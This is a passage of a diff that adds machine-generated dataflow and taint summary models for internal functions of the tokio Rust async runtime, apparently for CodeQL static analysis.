"ReturnValue.Field[crate::process::imp::reap::Reaper::orphan_queue]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[2]", "ReturnValue.Field[crate::process::imp::reap::Reaper::signal]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_wait", "Argument[self].Field[crate::process::imp::reap::test::MockWait::status]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::spawner", "Argument[self].Field[crate::runtime::blocking::pool::BlockingPool::spawner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::blocking::pool::Task::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::blocking::pool::Task::mandatory]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::hooks", "Argument[self].Field[crate::runtime::blocking::schedule::BlockingSchedule::hooks].Field[crate::runtime::task::TaskHarnessScheduleHooks::task_terminate_callback]", "ReturnValue.Field[crate::runtime::task::TaskHarnessScheduleHooks::task_terminate_callback]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0].Reference", "ReturnValue.Field[crate::runtime::blocking::schedule::BlockingSchedule::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::blocking::task::BlockingTask::func].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::enable_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::enable_io", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::enable_time", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::event_interval", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::event_interval]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::event_interval", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::event_interval]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::event_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::global_queue_interval", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::global_queue_interval].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::global_queue_interval", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::global_queue_interval].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::global_queue_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_blocking_threads", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::max_blocking_threads]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_blocking_threads", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::max_blocking_threads]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_blocking_threads", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_io_events_per_tick", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::nevents]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_io_events_per_tick", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::nevents]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_io_events_per_tick", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::builder::Builder::event_interval]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::on_thread_park", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::on_thread_start", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::on_thread_stop", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::on_thread_unpark", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_paused", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::start_paused]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_paused", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::start_paused]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_paused", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_keep_alive", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::keep_alive].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_keep_alive", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::keep_alive].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_name_fn", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_stack_size", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::thread_stack_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_stack_size", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::thread_stack_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_stack_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_threads", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::worker_threads].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_threads", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::worker_threads].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_threads", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::runtime::driver::IoHandle::Enabled(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::metrics", "Argument[self].Reference", "ReturnValue.Field[crate::runtime::metrics::runtime::RuntimeMetrics::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::consume_signal_ready", "Argument[self].Field[crate::runtime::io::driver::Driver::signal_ready]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_ready", "Argument[0]", "ReturnValue.Field[crate::runtime::io::driver::ReadyEvent::ready]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_ready", "Argument[self].Field[crate::runtime::io::driver::ReadyEvent::is_shutdown]", "ReturnValue.Field[crate::runtime::io::driver::ReadyEvent::is_shutdown]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_ready", "Argument[self].Field[crate::runtime::io::driver::ReadyEvent::tick]", "ReturnValue.Field[crate::runtime::io::driver::ReadyEvent::tick]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_interest_and_handle", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::runtime::io::registration::Registration::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read_io", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_write_io", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_shutdown", "Argument[0].Field[crate::runtime::io::registration_set::Synced::is_shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::metrics::runtime::RuntimeMetrics::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unpark", "Argument[self].Field[crate::runtime::park::ParkThread::inner].Reference", "ReturnValue.Field[crate::runtime::park::UnparkThread::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::process::Driver::park]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::runtime::runtime::Runtime::scheduler]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_parts", "Argument[1]", "ReturnValue.Field[crate::runtime::runtime::Runtime::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_parts", "Argument[2]", "ReturnValue.Field[crate::runtime::runtime::Runtime::blocking_pool]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::handle", "Argument[self].Field[crate::runtime::runtime::Runtime::handle]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::metrics", "Argument[self].Field[crate::runtime::runtime::Runtime::handle].Reference", "ReturnValue.Field[crate::runtime::metrics::runtime::RuntimeMetrics::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::metrics", "Argument[self].Field[crate::runtime::runtime::Runtime::handle]", "ReturnValue.Field[crate::runtime::metrics::runtime::RuntimeMetrics::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::expect_current_thread", "Argument[self].Field[crate::runtime::scheduler::Context::CurrentThread(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::expect_multi_thread", "Argument[self].Field[crate::runtime::scheduler::Context::MultiThread(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_current_thread", "Argument[self].Field[crate::runtime::scheduler::Handle::CurrentThread(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_metrics", "Argument[self].Field[crate::runtime::scheduler::current_thread::Handle::shared].Field[crate::runtime::scheduler::current_thread::Shared::worker_metrics]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self].Field[crate::runtime::scheduler::inject::pop::Pop::len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::runtime::scheduler::inject::pop::Pop::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::runtime::scheduler::inject::pop::Pop::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::synced]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_closed", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::is_closed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[0]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::synced]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[1]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::trace_core", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_metrics", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[0].Field[crate::runtime::scheduler::multi_thread::idle::Idle::num_workers]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::runtime::scheduler::multi_thread::idle::State(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unpark", "Argument[self].Field[crate::runtime::scheduler::multi_thread::park::Parker::inner].Reference", "ReturnValue.Field[crate::runtime::scheduler::multi_thread::park::Unparker::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::runtime::scheduler::multi_thread::queue::Steal(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::runtime::scheduler::multi_thread::queue::Steal(0)].Reference", "ReturnValue.Field[crate::runtime::scheduler::multi_thread::queue::Steal(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::runtime::signal::Driver::io]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::task::Notified(0)].Field[crate::runtime::task::Task::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_raw", "Argument[self].Field[0].Field[crate::runtime::task::Task::raw]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_raw", "Argument[self].Field[crate::runtime::task::Notified(0)].Field[crate::runtime::task::Task::raw]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Field[crate::runtime::task::Task::raw].Field[crate::runtime::task::raw::RawTask::ptr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::task::Task::raw].Field[crate::runtime::task::raw::RawTask::ptr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::cancelled", "Argument[0]", "ReturnValue.Field[crate::runtime::task::error::JoinError::id]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self].Field[crate::runtime::task::error::JoinError::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::panic", "Argument[0]", "ReturnValue.Field[crate::runtime::task::error::JoinError::id]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_panic", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::abort_handle", "Argument[self].Field[crate::runtime::task::join::JoinHandle::raw]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::task::join::JoinHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assert_owner", "Argument[0].Field[0]", "ReturnValue.Field[crate::runtime::task::LocalNotified::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assert_owner", "Argument[0].Field[crate::runtime::task::Notified(0)]", "ReturnValue.Field[crate::runtime::task::LocalNotified::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assert_owner", "Argument[0].Field[0]", "ReturnValue.Field[crate::runtime::task::LocalNotified::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assert_owner", "Argument[0].Field[crate::runtime::task::Notified(0)]", "ReturnValue.Field[crate::runtime::task::LocalNotified::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::task::raw::RawTask::ptr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::header_ptr", "Argument[self].Field[crate::runtime::task::raw::RawTask::ptr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ref_count", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::runtime::task::waker::WakerRef::waker]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_config", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self].Field[crate::runtime::task_hooks::TaskMeta::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[0].Field[crate::runtime::time::Driver::park]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deadline", "Argument[self].Field[crate::runtime::time::entry::TimerEntry::deadline]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::time::entry::TimerEntry::driver]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::time::entry::TimerEntry::deadline]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Field[crate::runtime::time::entry::TimerHandle::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::time::entry::TimerHandle::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::handle", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::time_source", "Argument[self].Field[crate::runtime::time::handle::Handle::time_source]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_time", "Argument[self].Field[crate::runtime::time::source::TimeSource::start_time]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::tick_to_duration", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::elapsed", "Argument[self].Field[crate::runtime::time::wheel::Wheel::elapsed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration_time", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[0]", "Argument[self].Field[crate::runtime::time::wheel::Wheel::elapsed]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_at", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::time::wheel::level::Level::level]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration", "Argument[self].Field[crate::runtime::time::wheel::level::Level::level]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::runtime::time::wheel::level::Expiration::level]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take_slot", "Argument[self].Field[crate::runtime::time::wheel::level::Level::slot].Element", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::signal::registry::Globals::extra]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::storage", "Argument[self].Field[crate::signal::registry::Globals::registry].Field[crate::signal::registry::Registry::storage]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw_value", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw_value", "Argument[self].Field[crate::signal::unix::SignalKind(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::support::io_vec::IoBufs(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::advance", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::support::io_vec::IoBufs(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::barrier::Barrier::n]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[crate::sync::barrier::BarrierWaitResult(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[0]", "ReturnValue.Field[crate::sync::batch_semaphore::Acquire::num_permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[self]", "ReturnValue.Field[crate::sync::batch_semaphore::Acquire::semaphore]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::forget_permits", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::resubscribe", "Argument[self].Field[crate::sync::broadcast::Receiver::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::Receiver::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::broadcast::Sender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::Sender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade", "Argument[self].Field[crate::sync::broadcast::Sender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::WeakSender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::broadcast::error::SendError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::subscribe", "Argument[self].Field[crate::sync::broadcast::Sender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::Receiver::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::broadcast::WeakSender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::WeakSender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self].Field[crate::sync::broadcast::WeakSender::shared].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::broadcast::Sender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::release", "Argument[self].Field[crate::sync::mpsc::bounded::OwnedPermit::chan].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[self].Field[crate::sync::mpsc::bounded::OwnedPermit::chan].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::chan]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::mpsc::bounded::Permit::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::bounded::Receiver::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", 